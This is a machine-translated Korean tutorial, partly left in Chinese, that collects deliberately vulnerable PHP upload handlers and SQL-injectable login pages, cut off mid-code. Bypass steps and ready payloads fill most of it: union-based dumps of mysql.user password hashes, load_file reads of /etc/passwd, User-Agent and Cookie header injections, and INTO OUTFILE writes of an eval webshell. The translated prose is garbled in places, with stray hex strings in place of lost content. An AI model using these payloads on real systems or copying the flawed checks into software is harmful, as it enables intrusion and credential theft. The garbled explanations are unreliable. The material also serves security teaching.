>  기사  >  백엔드 개발  >  매우 포괄적입니다! 일반적인 PHP 취약점 코드 요약!

매우 포괄적입니다! 일반적인 PHP 취약점 코드 요약!

藏色散人
藏色散人앞으로
2023-01-20 14:22:544548검색

이 기사는 PHP 취약점에 대한 관련 지식을 제공합니다. 주로 PHP의 일반적인 취약점 코드를 요약하고 소개합니다. 도움이 필요한 친구들에게 도움이 되길 바랍니다.

매우 포괄적입니다! 일반적인 PHP 취약점 코드 요약!

취약점 요약

PHP 파일 업로드 취약점

MIME 유형만 확인: 업로드된 MIME 유형은 코드에서 확인되며 우회 방법은 Burp를 사용하여 패킷을 캡처하고 업로드된 문장은 조랑말입니다. *.php의 Content-Type: application/php, Content-Type: image/png로 변경한 다음 업로드하세요.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
// 判断 content-type 的类型,如果是image/png则通过
if($_FILES[&#39;upload_file&#39;][&#39;type&#39;] == &#39;image/png&#39;)
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH . &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
if (move_uploaded_file($temp_file, $img_path))
echo "上传完成.";
else
echo "上传出错.";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

화이트리스트 우회: 화이트리스트를 사용하면 특정 유형의 파일을 업로드할 수 있습니다. 안전을 비교하고, 패킷을 캡처하고 PHP 백도어를 업로드한 다음 파일 이름을 .jpg로 변경하여 성공적으로 업로드하지만 때로는 업로드된 파일이 유효하지 않아 셸을 얻을 수 없는 경우도 있습니다.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$allow_ext = array(".jpg",".png",".jpeg");

$file_name = trim($_FILES[&#39;upload_file&#39;][&#39;name&#39;]); // 取出文件名
$file_ext = strrchr($file_name, &#39;.&#39;);
$file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext); //去除字符串::$DATA
$file_ext = strtolower($file_ext);                  // 转换为小写
$file_ext = trim($file_ext);                        // 首尾去空

if(in_array($file_ext, $allow_ext))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH.&#39;/&#39;.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path))
echo "上传完成: {$img_path} <br>";
else
echo "上传失败 <br>";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

화이트리스트 확인 파일 헤더: 이것 level은 주로 jpg/png/gif 세 가지 유형의 파일 전송이 허용되며 파일 헤더의 2바이트 내용이 코드에서 감지되므로 파일의 처음 2바이트만 수정하면 됩니다.

보통 JPEG/JPG: FF D8 | PNG: 89 50 | GIF: 47 49 JPEG를 예로 들면, 바이너리인 Trojan이라는 문장의 시작 부분에 11 두 개를 추가합니다. 3131, 그리고 .php를 .jpg로 변경하여 Brup 캡처 패킷을 Repeater 모듈로 전송하고 HEX 코드 3131을 FFD8로 변경하여 전송 후 JPG가 성공적으로 업로드됩니다.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $file = fopen($filename, "rb");
    $bin = fread($file, 2);
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo[&#39;chars1&#39;].$strInfo[&#39;chars2&#39;]);    
    $fileType = &#39;&#39;;    
    switch($typeCode)
    {      
        case 255216: $fileType = &#39;jpg&#39;; break;
        case 13780:  $fileType = &#39;png&#39;; break;        
        case 7173:   $fileType = &#39;gif&#39;; break;
        default:     $fileType = &#39;unknown&#39;;
        }    
        return $fileType;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

파일 헤더: 이 방법은 업로드 여부를 결정하기 위해 파일 헤더의 시작 위치를 기반으로 한 일치를 기반으로 하며, 업로드된 파일 앞에 합법적인 파일 헤더를 추가하여 이를 우회할 수 있습니다(예: GIF89a1353975dc0e86d0cf6ac4ac7d6b1a067를 파일 시작 부분에 추가하거나 xffxd8xff인 경우 먼저 %ff%d8%ff3b0b616c526c6519d02fe4e9a90212ae그런 다음 특수 문자를 선택합니다. , CONVERT->URL->URL-Decode를 마우스 오른쪽 버튼으로 클릭하여 인코딩하고 해제합니다.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $fh = fopen($filename, "rb");
    if($fh)
    {
     $bytes = fread($fh,6);
     fclose($fh);
     if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
     return "image/jpeg";
     }
     if($bytes == "\x89PNG\x0d\x0a"){
     return "image/png";
     }
     if($bytes == "GIF87a" or $bytes == "GIF89a"){
     return "image/gif";
     }
    }
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

이미지 감지 우회 통과: 이미지 기능을 사용하여 필요한 경우 파일이 이미지인지 감지합니다. 업로드하려면 이미지의 무결성이 유지되어야 하므로 파일 헤더를 추가하여 우회할 수 없습니다. 업로드할 사진 트로이 목마를 만들어야 합니다.

이 업로드 방법을 우회하려면 사진과 Fig 파일을 병합할 수 있습니다. 함께 복사 /b pic.gif+shell.php 1.php 바이패스로 업로드

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
// 检查是否为图像
if(@getimagesize($filename))
{
if(@imagecreatefromgif($filename)){
return "image/gif";
}
if(@imagecreatefrompng($filename)){
return "image/png";
}
if(@imagecreatefromjpeg($filename)){
return "image/jpeg";
}
}
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

업로드 조건 경쟁: 여기서 조건 경쟁이 있습니다. 먼저 파일을 서버에 업로드한 다음 파일 접미사가 ​​인지 확인합니다. 그렇다면 화이트리스트에서 이름을 바꾸거나 삭제하면 1.php를 업로드할 수 있고 삭제되기 전에만 액세스하면 됩니다. Burp의 침입자 모듈을 사용하여 계속 업로드한 다음 계속해서 액세스하고 새로 고칠 수 있습니다. 주소

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
$ext_arr = array(&#39;jpg&#39;,&#39;png&#39;,&#39;gif&#39;);
    $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
    $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . &#39;/&#39; . $file_name;

    if(move_uploaded_file($temp_file, $upload_file))
    {
     if(in_array($file_ext, $ext_arr))
     {
     $img_path = UPLOAD_PATH . &#39;/&#39;. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             echo "上传完成. <br>";
     }else
     {
     unlink($upload_file);
     echo "上传失败. <br>";
     }
    }
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

PHP 주입 취약점

기본 쿼리문

SQL 주입 드릴 환경을 구축하려면 먼저 MySQL 버전이 MySQL 5.7 이상인지 확인하고 아래 데이터베이스 스크립트를 가져와서 해당 데이터베이스 스크립트를 자동으로 생성합니다.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

그런 다음 PHP7.0 이상의 환경을 설치하고 index.php 파일을 생성한 후 다음 테스트 코드를 작성하고 데이터베이스 비밀번호를 직접 수정하십시오.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
            $sql = "select * from local_user where id=&#39;$id&#39; limit 0,1";
            $query = mysqli_query($connect,$sql);
            if($query)
             $row = mysqli_fetch_array($query);
    }
}
?>
<body>
<table border="1">
   <tr>
    <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
   </tr>
   <tr>
          <td><?php echo $row[&#39;id&#39;]; ?></td>
          <td><?php echo $row[&#39;username&#39;]; ?></td>
          <td><?php echo $row[&#39;password&#39;]; ?></td>
          <td><?php echo $row[&#39;usremail&#39;]; ?></td>
          <td><?php echo $row[&#39;usertype&#39;]; ?></td>
   </tr>
</table><br>
<?php echo &#39;<hr><b> 后端执行SQL语句:  </b>&#39; . $sql;  ?>
</body>
</html>

Union 쿼리 필드 번호: Union을 사용할 수 있습니다. 하나 또는 여러 개의 SELECT 결과 세트가 있지만 조건이 있습니다. 즉, 두 개의 select 쿼리 문이 실행되기 전에 동일한 열을 가져야 한다는 것입니다. 이 기능을 사용하면 비교 쿼리, 즉 결합할 때 수행할 수 있습니다. select columns 쿼리한 열이 동일하면 페이지가 정상적으로 반환됩니다.

우선 현재 필드 수가 4일 때 페이지가 반환되지 않는 것으로 추측합니다. 이는 테이블 필드 수가 더 커야 함을 의미합니다. 그런 다음 필드를 추가하고 1, 2를 쿼리하면 페이지가 일반적으로 3, 4, 5에 표시되어 테이블 구조에 5개의 필드가 있음을 나타냅니다.

index.php?id=1&#39; and 1=0 union select 1,2,3,4 --+

index.php?id=1&#39; and 1=0 union select 1,2,3,4,5 --+
index.php?id=1&#39; and 1=0 union select null,null,null,null,null --+

Order 쿼리 필드 번호 기준: SQL 문에서 지정된 예를 들어 결과 집합을 정렬하려면 첫 번째 열을 기준으로 정렬하고 두 번째 열을 기준으로 정렬하고 2를 기준으로 정렬하는 식으로 판단합니다. 첫 번째 컬럼으로 정렬하면 데이터베이스는 정상적으로 반환되지만, 100번째 컬럼으로 정렬하면 데이터베이스에 100번째 컬럼이 존재하지 않기 때문에 에러가 발생하거나 정상적으로 표시되지 않습니다.

먼저 데이터베이스에 6개의 필드가 있다고 추측했습니다. 6번째 행을 기준으로 정렬을 시도한 결과 데이터가 6개 미만임을 나타냅니다. 계속해서 5개의 테스트를 사용하여 결과는 다음과 같습니다.

index.php?id=1&#39; and 1 order by 6 --+
index.php?id=1&#39; and 1 order by 5 --+

대부분의 프로그램은 데이터베이스 쿼리의 첫 번째 문만 호출하여 쿼리한 다음 반환합니다. 보고 싶은 데이터가 두 번째 문에 있는 경우, 보고 싶은 경우 두 가지 방법으로 얻을 수 있습니다. 첫 번째는 첫 번째 데이터가 false를 반환하도록 하는 것이고, 두 번째는 sql 문을 통해 원하는 데이터를 직접 반환하는 것입니다.

첫 번째 방법에서는 첫 번째 쿼리를 실행하면 결과가 항상 false가 됩니다. 이는 및 0을 사용하거나 제한 문을 통해 달성됩니다. 이를 통해 쿼리된 데이터에서 원하는 데이터를 얻을 수 있습니다.

index.php?id=1&#39; and 0 union select null,null,null,null,null --+
index.php?id=1&#39; and 0 union select null,version(),null,null,null --+

index.php?id=1&#39; union select null,null,null,null,null limit 1,1 --+
index.php?id=1&#39; union select null,version(),null,null,null limit 1,1 --+

모든 데이터베이스 확인 이름: 기본적으로 MySQL은 모든 테이블 데이터를 information_schema.schemata 테이블에 저장하여 저장합니다. 이 테이블의 데이터를 쿼리하여 현재 시스템의 모든 데이터베이스 이름을 찾아낼 수 있습니다. 매개변수를 제한적으로 제어하면 모든 데이터베이스를 폭발시킬 수 있습니다.

index.php?id=1&#39; and 0 union select 1,1,database(),1,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema=&#39;lyshark&#39; --+

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1&#39; and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1&#39; and 1=1 --+    # 提交and判断注入
index.php?id=1&#39; and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1&#39; and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1&#39; and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1&#39; and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1&#39; and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1&#39; and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1&#39; union select 1,load_file("/etc/passwd"),3,4,5 into outfile &#39;/var/www/html/a.txt&#39;--+
index.php?id=1&#39; union select 1,"<?php phpinfo();?>",3,4,5 into outfile &#39;/var/www/html/shell.php&#39; --+
index.php?id=1&#39; union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile &#39;/var/www/html/b.txt&#39; --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values(&#39;<?php @eval($_POST[cmd]) ?>&#39;);
select cmd from shell into outfile(&#39;/var/www/html/eval.php&#39;);

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1&#39; union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1&#39; union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1&#39; union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1&#39; union select 1,1,@@hostname                     // 判断主机名
index.php?id=1&#39; union select 1,1,@@version                      // 判断数据库版本
index.php?id=1&#39; union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1&#39; union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1&#39; union select 1,1,user()                         // 曝出系统用户
index.php?id=1&#39; union select 1,1,database()                     // 曝出当前数据库

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<?php
function getCurrentUrl()
{
    $scheme = $_SERVER[&#39;REQUEST_SCHEME&#39;];   // 协议
    $domain = $_SERVER[&#39;HTTP_HOST&#39;];        // 域名
    $requestUri = $_SERVER[&#39;REQUEST_URI&#39;];  // 请求参数
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return urldecode($currentUrl);
}
?>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
        $sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
{
   echo "<font size=&#39;5&#39;>";
   echo "账号: {$row[&#39;username&#39;]} <br>";
   echo "密码: {$row[&#39;password&#39;]} <br>";
   echo "</font>";
   echo "后端执行语句: {$sql} <br>";
   $URL = getCurrentUrl();
   echo "后端URL参数: {$URL} <br>";
   }
else 
{
echo "后端执行语句: {$sql} <br>";
print_r(mysql_error());
}
        }
    }
}
?>
</body>
</html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=(&#39;$id&#39;) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;) union select 1,version() --+
http://127.0.0.1/index.php?id=1&#39;) and &#39;1&#39;=(&#39;0&#39;) union select 1,version() --+

$sql = "select username,password from local_user where id=((&#39;$id&#39;)) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;)) union select 1,version() --+

---------------------------------------------------------------------------------
$id = &#39;"&#39; . $id . "&#39;";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin&#39; order by 1 #
admin&#39; order by 2 -- 
admin&#39; and 1 union select 1,2,3 #
admin&#39; and 1 union select 1,2 #

# 爆出数据库
admin &#39; and 0 union select null,database() #
admin&#39; and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 #
&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 #

# 爆出表中字段
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 0,1 #
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 1,1 #

# 继续爆出所有的用户名密码
&#39; union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         // 获取到用户的Agent客户请求体
         $Uagent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
$IP = $_SERVER[&#39;REMOTE_ADDR&#39;];

echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
echo "您的IP地址是: {$IP} <br>";

$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values(&#39;$uname&#39;,&#39;$IP&#39;,&#39;$Uagent&#39;)";
mysqli_query($connect,$insert_sql);
echo "User_Agent请求头: {$Uagent} <br>";
         }
        }
    }
}
?>
</body>
</html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1&#39;,1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1&#39;,1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input type="text"  name="uname" value=""/><br>
密码: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = $_COOKIE[&#39;uname&#39;];
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username=&#39;$cookee&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "执行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登录 <br>";
echo "您的账号: " . $row[&#39;username&#39;] . "<br>";
echo "您的密码: " . $row[&#39;password&#39;] . "<br>";
}
}
}
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         $cookee = $row[&#39;username&#39;];
         if($row)
         {
         setcookie(&#39;uname&#39;, $cookee, time() + 3600);
         $format = &#39;D d M Y - H:i:s&#39;;
         $timestamp = time() + 3600;
         echo "COOKIE已设置: " . date($format, $timestamp);
         }
        }
    }
}
?>
</body>
</html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin&#39; and 0 union select database(),2--+
Cookie: uname=admin&#39; and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
error_reporting(0);
header("Content-type: text/html;charset=utf8");
function Check($value)
{
if(!empty($value))
{ // 如果结果不为空,则取出其前十五个字符 18
$value = substr($value,0,15);
}
